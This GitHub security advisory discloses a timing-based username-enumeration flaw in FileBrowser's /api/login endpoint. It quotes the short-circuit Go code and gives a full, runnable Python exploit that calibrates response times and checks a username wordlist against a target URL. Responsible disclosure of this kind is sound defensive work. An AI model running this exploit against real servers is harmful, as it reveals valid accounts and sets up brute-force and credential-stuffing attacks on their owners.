GHSA-43mm-m3h2-3prc

Summary

The JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.

Details

The vulnerability exists due to a "short-circuit" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.

This difference in execution path creates a measurable timing discrepancy:

Invalid User: ~1ms execution (Database lookup only). Valid User: ~50ms+ execution (Database lookup + Bcrypt hashing).

In auth/json.go:

// auth/json.go line 54
u, err := usr.Get(srv.Root, cred.Username)
// VULNERABILITY:
// If 'err != nil' (User not found), the OR condition short-circuits.
// The second part (!users.CheckPwd) is NEVER executed.
//
// If 'err == nil' (User found), the code MUST execute users.CheckPwd (Bcrypt).
if err != nil || !users.CheckPwd(cred.Password, u.Password) {
    return nil, os.ErrPermission
}

PoC

The following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.

import requests
import time
import random
import string
import statistics
import argparse

CALIBRATION_SAMPLES = 20
ENDPOINT = "/api/login"

def generate_random_user(length=10):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def measure_response_time(url, username):
    start = time.perf_counter()
    try:
        requests.post(url, json={"username": username, "password": "dummy_pass_123!"})
    except Exception as e:
        print(f"[!] Connection error: {e}")
        return 0
    return time.perf_counter() - start

def calibrate(url):
    print(f"\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...")
    times = []

    print("    Progress: ", end="", flush=True)
    for _ in range(CALIBRATION_SAMPLES):
        random_user = generate_random_user()
        elapsed = measure_response_time(url, random_user)
        times.append(elapsed)
        print(".", end="", flush=True)
    print(" OK")

    mean = statistics.mean(times)
    try:
        stdev = statistics.stdev(times)
    except:
        stdev = 0.0

    threshold = mean + (5 * stdev) + 0.005

    print(f"    - Mean time (invalid users): {mean:.4f}s")
    print(f"    - Standard deviation: {stdev:.6f}s")
    print(f"    - Threshold set: {threshold:.4f}s")

    return threshold

def load_wordlist(wordlist_path):
    try:
        with open(wordlist_path, 'r', encoding='utf-8') as f:
            users = [line.strip() for line in f if line.strip()]
        return users
    except FileNotFoundError:
        print(f"[!] Wordlist not found: {wordlist_path}")
        exit(1)
    except Exception as e:
        print(f"[!] Error reading wordlist: {e}")
        exit(1)

def timing_attack(url, threshold, users):
    print(f"\n[*] Testing {len(users)} users from wordlist...")
    print("-" * 50)
    print(f"{'Username':<15} | {'Time':<10} | {'Status'}")
    print("-" * 50)

    found = []

    for user in users:
        elapsed = measure_response_time(url, user)

        if elapsed > threshold:
            status = ">> VALID <<"
            found.append(user)
        else:
            status = "invalid"

        print(f"{user:&lt;15} | {elapsed:.4f}s | {status}")

    return found

def main():
    parser = argparse.ArgumentParser(description='FileBrowser timing attack exploit')
    parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://localhost:8080)')
    parser.add_argument('-w', '--wordlist', required=True, help='Path to wordlist file')
    args = parser.parse_args()

    target_url = args.url.rstrip('/') + ENDPOINT

    print("=== FILEBROWSER TIMING ATTACK ===\n")
    print(f"[*] Target: {target_url}")
    print(f"[*] Wordlist: {args.wordlist}")

    try:
        threshold = calibrate(target_url)
        users = load_wordlist(args.wordlist)
        print(f"\n[*] Loaded {len(users)} users from wordlist")
        print("[*] Starting attack...")

        valid_users = timing_attack(target_url, threshold, users)

        print("\n" + "="*50)
        print(f"SUMMARY: {len(valid_users)} valid users found")
        if valid_users:
            for u in valid_users:
                print(f"  -> {u}")
        print("="*50)

    except KeyboardInterrupt:
        print("\n[!] Attack cancelled")

if __name__ == "__main__":
    main()

For example, in this case, I have guchihacker as the only valid user in the application. <img width="842" height="310" alt="image" src="https://github.com/user-attachments/assets/b3caf11e-279c-4532-aa96-fd20cda153a3" />

I am going to use the exploit to list valid users. <img width="628" height="716" alt="image" src="https://github.com/user-attachments/assets/f9d93e8e-e773-42a5-8a06-bc6bcc2a71fa" /> As we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time.

Impact

An unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., 'admin', 'root', employee names).

I remain at your disposal for any questions you may have on this matter. Thank you very much.

Sincerely, Felix Sanchez (GUCHI)